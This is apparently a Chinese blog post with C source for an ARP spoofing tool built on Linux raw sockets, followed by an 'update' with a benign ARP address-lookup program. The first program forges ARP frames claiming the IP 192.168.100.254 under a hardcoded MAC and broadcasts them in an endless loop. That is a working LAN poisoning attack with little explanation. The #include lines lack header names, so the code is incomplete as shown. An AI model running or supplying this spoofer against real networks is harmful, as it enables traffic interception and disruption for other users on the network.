Linux c原始套接字实现arp欺骗

一、环境

操作系统：Ubuntu18.04.4LTS
以太网数据链路层
ipv4协议

二、代码

arp.h（Linux有相应头文件，这是我自己定义的）

#pragma once

struct arppacket
{
	struct arphdr ar_head;
	unsigned char ar_sha[ETH_ALEN];
	struct in_addr ar_sip;
	unsigned char ar_tha[ETH_ALEN];
	struct in_addr ar_tip;
};

arp.c

#pragma pack (1)

#include 
#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include "arp.h"

void printMac(const char* p_head, const unsigned char* p_mac);

int main()
{
	// 组织以太网帧
	char ef[ETH_FRAME_LEN];

	unsigned char eth_source[ETH_ALEN] = { 0x10, 0x7b, 0x44, 0xd8, 0xcd, 0x09 };
	unsigned char eth_dest[ETH_ALEN] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
	unsigned char eth_null[ETH_ALEN] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

	struct in_addr ip_source;
	struct in_addr ip_dest;
	inet_aton("192.168.100.254", &ip_source);
	inet_aton("192.168.100.5", &ip_dest);

	struct ethhdr* p_ethhdr;
	p_ethhdr = (struct ethhdr*)ef;
	memcpy(p_ethhdr->h_dest, eth_dest, ETH_ALEN);
	memcpy(p_ethhdr->h_source, eth_source, ETH_ALEN);
	p_ethhdr->h_proto = htons(ETH_P_ARP);

	struct arppacket* p_arp;
	p_arp = (struct arppacket*)(ef + ETH_HLEN);
	p_arp->ar_head.ar_hrd = htons(0x1);
	p_arp->ar_head.ar_pro = htons(ETH_P_IP);
	p_arp->ar_head.ar_hln = ETH_ALEN;
	p_arp->ar_head.ar_pln = 4;
	p_arp->ar_head.ar_op = htons(ARPOP_REQUEST);
	memcpy(p_arp->ar_sha, eth_source, ETH_ALEN);
	p_arp->ar_sip = ip_source;
	memcpy(p_arp->ar_tha, eth_null, ETH_ALEN);
	p_arp->ar_tip = ip_dest;

	// 注册原始套接字
	int fd;
	if ((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) < 0)
	{
		perror("raw socket create error!\n");
		exit(-1);
	}

	// 获取设置网卡信息
	char* ethname = "enp2s0";
	struct ifreq ifr;
	strcpy(ifr.ifr_name, ethname);
	int i = ioctl(fd, SIOCGIFINDEX, &ifr);
	if (i < 0)
	{
		close(fd);
		perror("can't get index\n");
		exit(-1);
	}
	int index = ifr.ifr_ifindex;
	
	// 设置sockaddr_ll地址
	struct sockaddr_ll addr;
	addr.sll_family = AF_PACKET;
	addr.sll_protocol = htons(ETH_P_ARP);
	addr.sll_ifindex = index;
	addr.sll_hatype = ARPHRD_ETHER;
	addr.sll_pkttype = PACKET_OTHERHOST;
	addr.sll_halen = ETH_ALEN;
	memcpy(addr.sll_addr, eth_source, ETH_ALEN);
	
	// 绑定网卡
	int flag;
	if((flag = bind(fd, (struct sockaddr*)&addr, sizeof(addr))) == -1)
	{
		perror("bind fail\n");
		exit(-1);
	}

	// 发出以太网帧
	while(1)
	{
		int size = write(fd, ef, 60);
	}

	// 关闭套接字
	close(fd);
	return 0;
}

void printMac(const char* p_head, const unsigned char* p_mac)
{
	printf("%s", p_head);
	for (int i = 0; i < ETH_ALEN - 1; i++)
		printf("%02x-", p_mac[i]);
	printf("%02x\n", p_mac[ETH_ALEN - 1]);
}

三、更新

//
// Created by hs on 2020/4/13.
//

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

struct arppacket
{
    struct arphdr ar_head;
    unsigned char ar_sha[ETH_ALEN];
    struct in_addr ar_sip;
    unsigned char ar_tha[ETH_ALEN];
    struct in_addr ar_tip;
}__attribute__((packed));

void printMac(const char* p_head, const unsigned char* p_mac);

int main(int argc, char **argv)
{
    struct in_addr pingaddr;
    struct in_addr netaddr;
    struct in_addr netmask;
    struct sockaddr_ll hwaddr;
    memset(&netaddr, 0, sizeof(netaddr));
    memset(&netmask, 0, sizeof(netmask));
    memset(&hwaddr, 0, sizeof(hwaddr));

    if(argc != 2)
    {
        perror("Usage: arp 127.0.0.1\n");
        exit(-1);
    }

    if(inet_aton(argv[1], &pingaddr) < 0)
    {
        perror("not a correct ip address\n");
        exit(-1);
    }


    // create sock_packet socket
    int fd = socket(PF_PACKET, SOCK_RAW, htonl(ETH_P_ARP));
    if(fd == -1)
    {
        perror("create socket error\n");
        exit(-1);
    }


    // get net interface info
    char buf[1024];
    struct ifconf ifc;
    ifc.ifc_len = sizeof(buf);
    ifc.ifc_buf = buf;
    if(ioctl(fd, SIOCGIFCONF, &ifc) == -1)
    {
        perror("get net interface error\n");
        exit(-1);
    }


    // get correct net interface
    int flag = 0;
    struct ifreq *ifrPtr;
    int networkNum = ifc.ifc_len / sizeof(struct ifreq);
    for(int i = 0; i < networkNum; i++)
    {
        ifrPtr = ((struct ifreq*)buf) + i;
        if(ioctl(fd, SIOCGIFADDR, ifrPtr) == -1)
        {
            perror("get ip address error\n");
            exit(-1);
        }
        netaddr = ((struct sockaddr_in*)&(ifrPtr->ifr_addr))->sin_addr;

        if(ioctl(fd, SIOCGIFNETMASK, ifrPtr) == -1)
        {
            perror("get netmask error\n");
            exit(-1);
        }
        netmask = ((struct sockaddr_in*)&(ifrPtr->ifr_netmask))->sin_addr;

        if((pingaddr.s_addr & netmask.s_addr) == (netaddr.s_addr & netmask.s_addr))
        {
            hwaddr.sll_family = PF_PACKET;
            hwaddr.sll_protocol = htons(ETH_P_ARP);
            hwaddr.sll_hatype = ARPHRD_ETHER;
            hwaddr.sll_pkttype = PACKET_OTHERHOST;
            hwaddr.sll_halen = ETH_ALEN;

            if(ioctl(fd, SIOCGIFINDEX, ifrPtr) == -1)
            {
                perror("get net interface index error\n");
                exit(-1);
            }
            hwaddr.sll_ifindex = ifrPtr->ifr_ifindex;

            if(ioctl(fd, SIOCGIFHWADDR, ifrPtr) == -1)
            {
                perror("get net interface hwaddr error\n");
                exit(-1);
            }
            memcpy(hwaddr.sll_addr, ifrPtr->ifr_hwaddr.sa_data, ETH_ALEN);

            flag = 1;
            break;
        }
    }
    if(flag != 1)
    {
        perror("can not find correct net interface\n");
        exit(-1);
    }


    // send arp
    char ef[ETH_FRAME_LEN];
    struct ethhdr *p_eth = (struct ethhdr*)ef;
    memset(p_eth->h_dest, 0xff, ETH_ALEN);
    memcpy(p_eth->h_source, hwaddr.sll_addr, ETH_ALEN);
    p_eth->h_proto = htons(ETH_P_ARP);

    struct arppacket *p_arp = (struct arppacket*)(ef + ETH_HLEN);
    p_arp->ar_head.ar_hrd = htons(ARPHRD_ETHER);
    p_arp->ar_head.ar_pro = htons(ETH_P_IP);
    p_arp->ar_head.ar_hln = ETH_ALEN;
    p_arp->ar_head.ar_pln = 4;
    p_arp->ar_head.ar_op = htons(ARPOP_REQUEST);
    memcpy(p_arp->ar_sha, hwaddr.sll_addr, ETH_ALEN);
    p_arp->ar_sip = netaddr;
    memset(p_arp->ar_tha, 0, ETH_ALEN);
    p_arp->ar_tip = pingaddr;

    if(bind(fd, (struct sockaddr*)&hwaddr, sizeof(struct sockaddr_ll)) == -1)
    {
        perror("bind network error\n");
        exit(-1);
    }

    write(fd, ef, 60);
    while(1)
    {
        read(fd, ef, sizeof(ef));
        struct arppacket *recv_arp = (struct arppacket*)(ef+ETH_HLEN);
        if(recv_arp->ar_tip.s_addr == netaddr.s_addr)
        {
            printMac("mac: ", recv_arp->ar_sha);
            break;
        }
    }
	return 0;
}

void printMac(const char* p_head, const unsigned char* p_mac)
{
	printf("%s", p_head);
	for (int i = 0; i < ETH_ALEN - 1; i++)
		printf("%02x-", p_mac[i]);
	printf("%02x\n", p_mac[ETH_ALEN - 1]);
}